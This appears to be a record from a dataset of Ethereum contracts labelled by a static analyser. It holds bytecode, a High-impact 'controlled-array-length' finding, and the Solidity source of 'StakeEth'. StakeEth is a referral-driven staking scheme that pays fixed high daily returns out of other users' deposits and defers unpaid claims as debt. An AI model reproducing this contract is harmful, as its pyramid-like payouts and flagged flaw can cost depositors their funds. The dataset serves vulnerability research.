6855292529091205484919060ff161561101a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f285611277565b5b5b50505b505b5050565b60006110988484846113d6565b90506110a381610f99565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a03161415156110d857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561110157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561112957600080fd5b600092505b6003548310156111d15784600160a060020a031660038481548110151561115157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111c5578360038481548110151561119057fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506111d1565b5b60019092019161112e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff161561129857600080fd5b6112a183610aa5565b15610813576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113435780601f1061131857610100808354040283529160200191611343565b820191906000526020600020905b81548152906001019060200180831161132657829003601f168201915b505091505060006040518083038185876187965a03f1925050501561139457827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610813565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a03811615156113ee57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151816001015560408201518160020190805161147992916020019061154d565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511610813576000838152602090206108139181019083016115cc565b5b505050565b815481835581811511610813576000838152602090206108139181019083016115cc565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061158e57805160ff19168380011785556115bb565b828001600101855582156115bb579182015b828111156115bb5782518255916020019190600101906115a0565b5b506115c89291506115cc565b5090565b610c5291905b808211156115c857600081556001016115d2565b5090565b905600a165627a7a72305820c40e0dbb47cd11abd7baa0e5c33dc9f06318867bd47c84ff2956533180d7bf7f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,070 |
0xE52dA565bDab862e0b8073272E06a4CfE2A322ED
|
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
pragma solidity 0.8.5;
contract StakeEth {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 ETH
uint256[] public REFERRAL_PERCENTS = [50, 20, 5]; //5%, 2%, 0.5%
uint256 constant public PROJECT_FEE = 100; //10% of deposit
uint256 constant public REINVEST_PERCENT = 100; //10% reinvest
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public WITHDRAW_COOLDOWN = 1 days / 4; //claim 6 times a day
address payable public WALLET_PROJECT;
uint256 public totalStaked;
uint256 public totalRefBonus;
mapping (uint => HistoryDeposit) public DEPOSIT_HISTORY;
uint public TOTAL_DEPOSITS;
uint public TOTAL_INVESTED;
uint public TOTAL_REFDIVIDENDS;
uint public TOTAL_CLAIMED;
struct Plan {
uint durationDays;
uint percent;
}
struct Deposit {
uint planIdx;
uint amount;
uint timeStart;
uint timeEnd;
bool isReinvest;
}
struct HistoryDeposit {
uint timestamp;
uint duration;
uint amount;
}
struct User {
uint checkpoint;
Deposit[] deposits;
Deposit[] depHistory;
uint[5] refCount;
address referrer;
uint refDividends;
uint debtBuffer;
uint totalInvested;
uint totalRefDividends;
uint totalClaimed;
}
Plan[] public PLANS;
mapping(address => User) public USERS;
event ProjectFeePaid(uint amount);
event Claimed(address user, uint amount);
event Reinvested(uint amount);
event RefInvited(address referrer, address user);
event RefDividends(address referrer, address user, uint refLevel, uint amount);
event Newcomer(address user);
event NewDeposit(address user, uint planIdx, uint amount);
uint public stat_maxDepositArrayLength;
address public stat_maxDepositArrayUser;
uint public stat_depositsReusedCounter;
constructor(address payable _walletProject) {
WALLET_PROJECT = _walletProject;
PLANS.push( Plan(7,200) );
PLANS.push( Plan(8,184) );
PLANS.push( Plan(9,171) );
PLANS.push( Plan(10,161) );
PLANS.push( Plan(11,152) );
PLANS.push( Plan(12,145) );
PLANS.push( Plan(13,140) );
PLANS.push( Plan(14,135) );
PLANS.push( Plan(15,130) );
PLANS.push( Plan(16,126) );
PLANS.push( Plan(17,123) );
PLANS.push( Plan(18,120) );
PLANS.push( Plan(19,117) );
PLANS.push( Plan(20,115) );
PLANS.push( Plan(21,113) );
PLANS.push( Plan(22,111) );
PLANS.push( Plan(23,109) );
PLANS.push( Plan(24,107) );
PLANS.push( Plan(25,106) );
PLANS.push( Plan(26,104) );
PLANS.push( Plan(27,103) );
PLANS.push( Plan(28,102) );
PLANS.push( Plan(29,101) );
PLANS.push( Plan(30,100) );
}
function invest(address _referrer, uint8 _planIdx) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(_planIdx < PLANS.length);
//xfer project fee
uint pFee = msg.value * PROJECT_FEE / PERCENTS_DIVIDER;
WALLET_PROJECT.transfer(pFee);
emit ProjectFeePaid(pFee);
_setUserReferrer(msg.sender, _referrer);
_allocateReferralRewards(msg.sender, msg.value);
_createDeposit(msg.sender, _planIdx, msg.value, false);
}
function claim() public {
User storage user = USERS[msg.sender];
uint claimAmount = _getUserDividends(msg.sender) + user.refDividends + user.debtBuffer;
require(claimAmount > 0, "Nothing to withdraw");
user.checkpoint = block.timestamp;
user.refDividends = 0;
user.debtBuffer = 0;
//Not enough in balance - payout what can be paid
uint balance = address(this).balance;
if(claimAmount > balance) {
user.debtBuffer += claimAmount - balance;
claimAmount = balance;
}
//reinvest
uint reinvestAmount = claimAmount * REINVEST_PERCENT / PERCENTS_DIVIDER;
_createDeposit(msg.sender, 0, reinvestAmount, true);
emit Reinvested(reinvestAmount);
claimAmount -= reinvestAmount;
//Withdraw to wallet
user.totalClaimed += claimAmount;
TOTAL_CLAIMED += claimAmount;
payable(msg.sender).transfer(claimAmount);
emit Claimed(msg.sender, claimAmount);
}
function _setUserReferrer(address _user, address _referrer) internal {
if (USERS[_user].referrer != address(0)) return; //already has a referrer
if (USERS[_referrer].deposits.length == 0) return; //referrer doesnt exist
if (_user == _referrer) return; //cant refer to yourself
//adopt
USERS[_user].referrer = _referrer;
//loop through the referrer hierarchy, increase every referral Levels counter
address upline = USERS[_user].referrer;
for (uint i=0; i < REFERRAL_PERCENTS.length; i++) {
if(upline==address(0)) break;
USERS[upline].refCount[i]++;
upline = USERS[upline].referrer;
}
emit RefInvited(_referrer,_user);
}
function _allocateReferralRewards(address _user, uint _depositAmount) internal {
//loop through the referrer hierarchy, allocate refDividends
address upline = USERS[_user].referrer;
for (uint i=0; i < REFERRAL_PERCENTS.length; i++) {
if (upline == address(0)) break;
uint amount = _depositAmount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER;
USERS[upline].refDividends += amount;
USERS[upline].totalRefDividends += amount;
TOTAL_REFDIVIDENDS += amount;
upline = USERS[upline].referrer;
emit RefDividends(upline, _user, i, amount);
}
}
function _createDeposit( address _user, uint _planIdx, uint _amount, bool _isReinvest ) internal returns(uint o_depIdx) {
User storage user = USERS[_user];
//first deposit: set initial checkpoint
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newcomer(_user);
}
Deposit memory newDep = Deposit( _planIdx, _amount, block.timestamp, block.timestamp + PLANS[_planIdx].durationDays * TIME_STEP, _isReinvest );
//reuse a deceased slot or create new
bool found;
for(uint i=0; i<user.deposits.length; i++) {
if(_isDepositDeceased(_user,i)) {
user.deposits[i] = newDep;
o_depIdx=i;
found=true;
stat_depositsReusedCounter++;
break;
}
}
if(!found) {
o_depIdx=user.deposits.length;
user.deposits.push(newDep);
}
//if not reinvest - update global stats
if(!_isReinvest) {
user.depHistory.push(newDep);
user.totalInvested += _amount;
DEPOSIT_HISTORY[TOTAL_DEPOSITS] = HistoryDeposit( block.timestamp, PLANS[_planIdx].durationDays*TIME_STEP, _amount );
TOTAL_DEPOSITS++;
TOTAL_INVESTED += _amount;
}
//technical data
if(stat_maxDepositArrayLength < user.deposits.length) {
stat_maxDepositArrayLength = user.deposits.length;
stat_maxDepositArrayUser = _user;
}
emit NewDeposit(_user, newDep.planIdx, newDep.amount);
}
function _isDepositDeceased(address _user, uint _depIdx) internal view returns(bool) {
return (USERS[_user].checkpoint >= USERS[_user].deposits[_depIdx].timeEnd);
}
function _calculateDepositDividends(address _user, uint _depIdx) internal view returns (uint o_amount) {
/* use _isDepositDeceased before calling this function to save gas */
User storage user = USERS[_user];
Deposit storage deposit = user.deposits[_depIdx];
//calculate withdrawable dividends starting from the last Claim checkpoint
uint totalReward = deposit.amount * PLANS[deposit.planIdx].percent / PERCENTS_DIVIDER;
uint timeA = deposit.timeStart > user.checkpoint ? deposit.timeStart : user.checkpoint;
uint timeB = deposit.timeEnd < block.timestamp ? deposit.timeEnd : block.timestamp;
if (timeA < timeB) {
o_amount = totalReward * (timeB-timeA) / TIME_STEP;
}
}
function _getUserDividends(address _user) internal view returns (uint o_amount) {
for(uint i=0;i<USERS[_user].deposits.length;i++) {
if(_isDepositDeceased(_user,i)) continue;
o_amount += _calculateDepositDividends(_user,i);
}
}
function getProjectInfo() public view returns(uint o_totDeposits, uint o_totInvested, uint o_totRefDividends, uint o_totClaimed, uint o_timestamp) {
return( TOTAL_DEPOSITS, TOTAL_INVESTED, TOTAL_REFDIVIDENDS, TOTAL_CLAIMED, block.timestamp );
}
function getDepositHistory() public view returns(HistoryDeposit[20] memory o_historyDeposits, uint o_timestamp) {
o_timestamp = block.timestamp;
uint _from = TOTAL_DEPOSITS>=20 ? TOTAL_DEPOSITS-20 : 0;
for(uint i=_from; i<TOTAL_DEPOSITS; i++) {
o_historyDeposits[i-_from] = DEPOSIT_HISTORY[i];
}
}
struct TPlanInfo {
uint dividends;
uint mActive;
uint rActive;
}
struct TRefInfo {
uint[5] count;
uint dividends;
uint totalEarned;
}
struct TUserInfo {
uint claimable;
uint checkpoint;
uint totalDepositCount;
uint totalInvested;
uint totalClaimed;
}
function getUserInfo(address _user) public view returns (TPlanInfo memory o_planInfo, TRefInfo memory o_refInfo, TUserInfo memory o_userInfo, uint o_timestamp) {
o_timestamp = block.timestamp;
User storage user = USERS[_user];
//active invest/reinvest deposits
for(uint i=0; i<user.deposits.length; i++) {
if(_isDepositDeceased(_user,i)) continue;
o_planInfo.dividends += _calculateDepositDividends(_user,i);
if(!user.deposits[i].isReinvest){ o_planInfo.mActive++; }
else { o_planInfo.rActive++; }
}
//referral stats
o_refInfo.count = user.refCount;
o_refInfo.dividends = user.refDividends;
o_refInfo.totalEarned = user.totalRefDividends;
//user stats
o_userInfo.claimable = o_planInfo.dividends + o_refInfo.dividends + user.debtBuffer;
o_userInfo.checkpoint = user.checkpoint;
o_userInfo.totalInvested = user.totalInvested;
o_userInfo.totalDepositCount = user.depHistory.length;
o_userInfo.totalClaimed = user.totalClaimed;
}
function getUserActivePlans(address user) public view returns(uint) {
return USERS[user].depHistory.length;
}
function getUserStakedBalance(address user) public view returns(uint256) {
return USERS[user].totalInvested;
}
function getUserRefDividends(address user) public view returns(uint256) {
return USERS[user].refDividends;
}
function getUserDepositHistory(address _user, uint _numBack) public view returns(Deposit[5] memory o_deposits, uint o_total, uint o_idxFrom, uint o_idxTo, uint o_timestamp) {
o_timestamp = block.timestamp;
o_total = USERS[_user].depHistory.length;
o_idxFrom = (o_total > _numBack*5) ? (o_total - _numBack*5) : 0;
uint _cut = (o_total < _numBack*5) ? (_numBack*5 - o_total) : 0;
o_idxTo = (o_idxFrom+5 < o_total) ? (o_idxFrom+5) - _cut : o_total;
for(uint i=o_idxFrom; i<o_idxTo; i++) {
o_deposits[i-o_idxFrom] = USERS[_user].depHistory[i];
}
}
function getUserAvailable(address _user) public view returns(uint) {
(,,TUserInfo memory userInfo,) = getUserInfo(_user);
return userInfo.claimable;
}
function getUserCheckpoint(address _user) public view returns(uint) {
return USERS[_user].checkpoint;
}
function getContractBalance() public view returns(uint) {
return address(this).balance;
}
function withdraw() public {
claim();
}
}
|
0x6080604052600436106101ee5760003560e01c806367c897fe1161010d578063a1dec4ca116100a0578063e262113e1161006f578063e262113e14610724578063ed1326791461074f578063f46984951461078e578063fce993e4146107b9578063fd81afcd146107e5576101ee565b8063a1dec4ca14610650578063c224bab31461067b578063d7ffca91146106bc578063dbd409ec146106f9576101ee565b8063817b1cd2116100dc578063817b1cd21461057f578063950d91e9146105aa5780639535779f146105d55780639612b4b814610613576101ee565b806367c897fe146104cf57806369b11dd5146104fe5780636f9fb98a146105295780637a0d725b14610554576101ee565b80633ccfd60b1161018557806351dac1b31161015457806351dac1b31461040b578063581c5ae614610436578063600d20ce146104525780636386c1c71461048f576101ee565b80633ccfd60b1461036f57806348d44bd1146103865780634e71d92d146103b15780634f697c37146103c8576101ee565b806332bc298c116101c157806332bc298c146102b15780633634b1b5146102dc5780633a4a23dd146103075780633abac46714610332576101ee565b806301c234a8146101f3578063126445761461021e578063153ab9df146102495780632e4fe1b614610286575b600080fd5b3480156101ff57600080fd5b50610208610822565b604051610215919061278a565b60405180910390f35b34801561022a57600080fd5b50610233610828565b604051610240919061278a565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612170565b61082e565b60405161027d919061278a565b60405180910390f35b34801561029257600080fd5b5061029b61084c565b6040516102a8919061278a565b60405180910390f35b3480156102bd57600080fd5b506102c6610852565b6040516102d3919061278a565b60405180910390f35b3480156102e857600080fd5b506102f1610859565b6040516102fe91906125b6565b60405180910390f35b34801561031357600080fd5b5061031c61087f565b604051610329919061278a565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612170565b610884565b604051610366919061278a565b60405180910390f35b34801561037b57600080fd5b506103846108d0565b005b34801561039257600080fd5b5061039b6108da565b6040516103a8919061278a565b60405180910390f35b3480156103bd57600080fd5b506103c66108df565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612170565b610b10565b60405161040297969594939291906127a5565b60405180910390f35b34801561041757600080fd5b50610420610b72565b60405161042d919061259b565b60405180910390f35b610450600480360381019061044b91906121dd565b610b98565b005b34801561045e57600080fd5b506104796004803603810190610474919061221d565b610ca9565b604051610486919061278a565b60405180910390f35b34801561049b57600080fd5b506104b660048036038101906104b19190612170565b610ccd565b6040516104c69493929190612742565b60405180910390f35b3480156104db57600080fd5b506104e4610ec8565b6040516104f5959493929190612874565b60405180910390f35b34801561050a57600080fd5b50610513610eee565b604051610520919061278a565b60405180910390f35b34801561053557600080fd5b5061053e610ef4565b60405161054b919061278a565b60405180910390f35b34801561056057600080fd5b50610569610efc565b604051610576919061278a565b60405180910390f35b34801561058b57600080fd5b50610594610f02565b6040516105a1919061278a565b60405180910390f35b3480156105b657600080fd5b506105bf610f08565b6040516105cc919061278a565b60405180910390f35b3480156105e157600080fd5b506105fc60048036038101906105f7919061221d565b610f0e565b60405161060a929190612814565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612170565b610f42565b604051610647919061278a565b60405180910390f35b34801561065c57600080fd5b50610665610f8e565b604051610672919061278a565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d919061219d565b610f94565b6040516106b395949392919061269f565b60405180910390f35b3480156106c857600080fd5b506106e360048036038101906106de9190612170565b611190565b6040516106f0919061278a565b60405180910390f35b34801561070557600080fd5b5061070e6111dc565b60405161071b919061278a565b60405180910390f35b34801561073057600080fd5b506107396111e2565b604051610746919061278a565b60405180910390f35b34801561075b57600080fd5b506107766004803603810190610771919061221d565b6111ee565b6040516107859392919061283d565b60405180910390f35b34801561079a57600080fd5b506107a3611218565b6040516107b0919061278a565b60405180910390f35b3480156107c557600080fd5b506107ce61121e565b6040516107dc9291906126f7565b60405180910390f35b3480156107f157600080fd5b5061080c60048036038101906108079190612170565b6112dc565b604051610819919061278a565b60405180910390f35b6103e881565b60085481565b60008061083a83610ccd565b50925050508060000151915050919050565b600d5481565b6201518081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b01549050919050565b6108d86108df565b565b606481565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600a015482600901546109373361132b565b610941919061295f565b61094b919061295f565b905060008111610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790612722565b60405180910390fd5b42826000018190555060008260090181905550600082600a01819055506000479050808211156109e45780826109c69190612a40565b83600a0160008282546109d9919061295f565b925050819055508091505b60006103e86064846109f691906129e6565b610a0091906129b5565b9050610a103360008360016113c5565b507f3784f4ef5deec94e3340d752ddbc17a7a04035afa08cbc39739c03157c08f8df81604051610a40919061278a565b60405180910390a18083610a549190612a40565b92508284600d016000828254610a6a919061295f565b925050819055508260086000828254610a83919061295f565b925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610ad0573d6000803e3d6000fd5b507fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a3384604051610b0292919061263f565b60405180910390a150505050565b600a6020528060005260406000206000915090508060000154908060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600901549080600a01549080600b01549080600c01549080600d0154905087565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b67016345785d8a0000341015610bad57600080fd5b6009805490508160ff1610610bc157600080fd5b60006103e8606434610bd391906129e6565b610bdd91906129b5565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c47573d6000803e3d6000fd5b507f744e3c6ef150e5faeaa4e10f54a7deaa2fa7e58399e23718b9b3cca5b3ccd8ad81604051610c77919061278a565b60405180910390a1610c893384611818565b610c933334611b94565b610ca3338360ff163460006113c5565b50505050565b60008181548110610cb957600080fd5b906000526020600020016000915090505481565b610cd5611feb565b610cdd61200c565b610ce5612033565b60004290506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060005b8160010180549050811015610df457610d498782611e07565b15610d5357610de1565b610d5d8782611ebc565b86600001818151610d6e919061295f565b91508181525050816001018181548110610d8b57610d8a612b82565b5b906000526020600020906005020160040160009054906101000a900460ff16610dc957856020018051809190610dc090612adb565b81525050610de0565b856040018051809190610ddb90612adb565b815250505b5b8080610dec90612adb565b915050610d30565b5080600301600580602002604051908101604052809291908260058015610e30576020028201915b815481526020019060010190808311610e1c575b50505050508460000181905250806009015484602001818152505080600c015484604001818152505080600a015484602001518660000151610e72919061295f565b610e7c919061295f565b836000018181525050806000015483602001818152505080600b0154836060018181525050806002018054905083604001818152505080600d0154836080018181525050509193509193565b600080600080600060055460065460075460085442945094509450945094509091929394565b60035481565b600047905090565b60055481565b60025481565b61546081565b60098181548110610f1e57600080fd5b90600052602060002090600202016000915090508060000154908060010154905082565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600901549050919050565b60075481565b610f9c612062565b600080600080429050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490509350600586610ffa91906129e6565b8411611007576000611020565b60058661101491906129e6565b8461101f9190612a40565b5b9250600060058761103191906129e6565b851061103e576000611057565b8460058861104c91906129e6565b6110569190612a40565b5b905084600585611067919061295f565b10611072578461108b565b80600585611080919061295f565b61108a9190612a40565b5b925060008490505b8381101561118457600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181815481106110ef576110ee612b82565b5b90600052602060002090600502016040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff1615151515815250508786836111589190612a40565b6005811061116957611168612b82565b5b6020020181905250808061117c90612adb565b915050611093565b50509295509295909350565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b60065481565b67016345785d8a000081565b60046020528060005260406000206000915090508060000154908060010154908060020154905083565b600b5481565b61122661208f565b600042905060006014600554101561123f57600061124f565b601460055461124e9190612a40565b5b905060008190505b6005548110156112d6576004600082815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820154815250508483836112aa9190612a40565b601481106112bb576112ba612b82565b5b602002018190525080806112ce90612adb565b915050611257565b50509091565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490509050919050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490508110156113bf5761138a8382611e07565b15611394576113ac565b61139e8382611ebc565b826113a9919061295f565b91505b80806113b790612adb565b915050611333565b50919050565b600080600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160010180549050141561145a574281600001819055507fd8125dbdc86a55134fbcba904caad35e4fbbc65ff57fbb90650820e7d8c19fdc86604051611451919061259b565b60405180910390a15b60006040518060a00160405280878152602001868152602001428152602001620151806009898154811061149157611490612b82565b5b9060005260206000209060020201600001546114ad91906129e6565b426114b8919061295f565b81526020018515158152509050600080600090505b8360010180549050811015611592576114e68982611e07565b1561157f578284600101828154811061150257611501612b82565b5b90600052602060002090600502016000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555090505080945060019150600d600081548092919061157590612adb565b9190505550611592565b808061158a90612adb565b9150506114cd565b508061161b5782600101805490509350826001018290806001815401808255809150506001900390600052602060002090600502016000909190919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555050505b8461176957826002018290806001815401808255809150506001900390600052602060002090600502016000909190919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555050508583600b0160008282546116ac919061295f565b9250508190555060405180606001604052804281526020016201518060098a815481106116dc576116db612b82565b5b9060005260206000209060020201600001546116f891906129e6565b8152602001878152506004600060055481526020019081526020016000206000820151816000015560208201518160010155604082015181600201559050506005600081548092919061174a90612adb565b91905055508560066000828254611761919061295f565b925050819055505b8260010180549050600b5410156117ca578260010180549050600b8190555087600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b7fa91e0c3165215fe453f5bf3de083d5fd6c4e62c491849155a042a647588c53a0888360000151846020015160405161180593929190612668565b60405180910390a1505050949350505050565b600073ffffffffffffffffffffffffffffffffffffffff16600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b357611b90565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010180549050141561190657611b90565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193f57611b90565b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060005b600080549050811015611b5457600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a7157611b54565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018160058110611ac557611ac4612b82565b5b016000815480929190611ad790612adb565b9190505550600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508080611b4c90612adb565b915050611a2a565b507f58ab8e83a533292260952de93118b9883cc6dbc129740367bffb86566e154b108284604051611b869291906125d1565b60405180910390a1505b5050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060005b600080549050811015611e0157600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c4557611e01565b60006103e860008381548110611c5e57611c5d612b82565b5b906000526020600020015485611c7491906129e6565b611c7e91906129b5565b905080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206009016000828254611cd2919061295f565b9250508190555080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c016000828254611d2b919061295f565b925050819055508060076000828254611d44919061295f565b92505081905550600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692507ff7286f882847d6fb7a2ac074ede1632148f84e2841ab57f8dde07f01c5195e3483868484604051611de594939291906125fa565b60405180910390a1508080611df990612adb565b915050611bfe565b50505050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018281548110611e5d57611e5c612b82565b5b906000526020600020906005020160030154600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015905092915050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816001018481548110611f1857611f17612b82565b5b9060005260206000209060050201905060006103e86009836000015481548110611f4557611f44612b82565b5b9060005260206000209060020201600101548360010154611f6691906129e6565b611f7091906129b5565b905060008360000154836002015411611f8d578360000154611f93565b82600201545b9050600042846003015410611fa85742611fae565b83600301545b905080821015611fe057620151808282611fc89190612a40565b84611fd391906129e6565b611fdd91906129b5565b95505b505050505092915050565b60405180606001604052806000815260200160008152602001600081525090565b604051806060016040528061201f6120bd565b815260200160008152602001600081525090565b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b6040518060a001604052806005905b6120796120df565b8152602001906001900390816120715790505090565b6040518061028001604052806014905b6120a7612110565b81526020019060019003908161209f5790505090565b6040518060a00160405280600590602082028036833780820191505090505090565b6040518060a00160405280600081526020016000815260200160008152602001600081526020016000151581525090565b60405180606001604052806000815260200160008152602001600081525090565b60008135905061214081612bdf565b92915050565b60008135905061215581612bf6565b92915050565b60008135905061216a81612c0d565b92915050565b60006020828403121561218657612185612bb1565b5b600061219484828501612131565b91505092915050565b600080604083850312156121b4576121b3612bb1565b5b60006121c285828601612131565b92505060206121d385828601612146565b9150509250929050565b600080604083850312156121f4576121f3612bb1565b5b600061220285828601612131565b92505060206122138582860161215b565b9150509250929050565b60006020828403121561223357612232612bb1565b5b600061224184828501612146565b91505092915050565b600061225683836123e7565b60a08301905092915050565b600061226e838361244f565b60608301905092915050565b6000612286838361257d565b60208301905092915050565b61229b81612a86565b82525050565b6122aa81612a74565b82525050565b6122b9816128e5565b6122c3818461292d565b92506122ce826128c7565b8060005b838110156122ff5781516122e6878261224a565b96506122f183612906565b9250506001810190506122d2565b505050505050565b612310816128f0565b61231a8184612938565b9250612325826128d1565b8060005b8381101561235657815161233d8782612262565b965061234883612913565b925050600181019050612329565b505050505050565b612367816128fb565b6123718184612943565b925061237c826128db565b8060005b838110156123ad578151612394878261227a565b965061239f83612920565b925050600181019050612380565b505050505050565b6123be81612a98565b82525050565b60006123d160138361294e565b91506123dc82612bb6565b602082019050919050565b60a0820160008201516123fd600085018261257d565b506020820151612410602085018261257d565b506040820151612423604085018261257d565b506060820151612436606085018261257d565b50608082015161244960808501826123b5565b50505050565b606082016000820151612465600085018261257d565b506020820151612478602085018261257d565b50604082015161248b604085018261257d565b50505050565b6060820160008201516124a7600085018261257d565b5060208201516124ba602085018261257d565b5060408201516124cd604085018261257d565b50505050565b60e0820160008201516124e96000850182612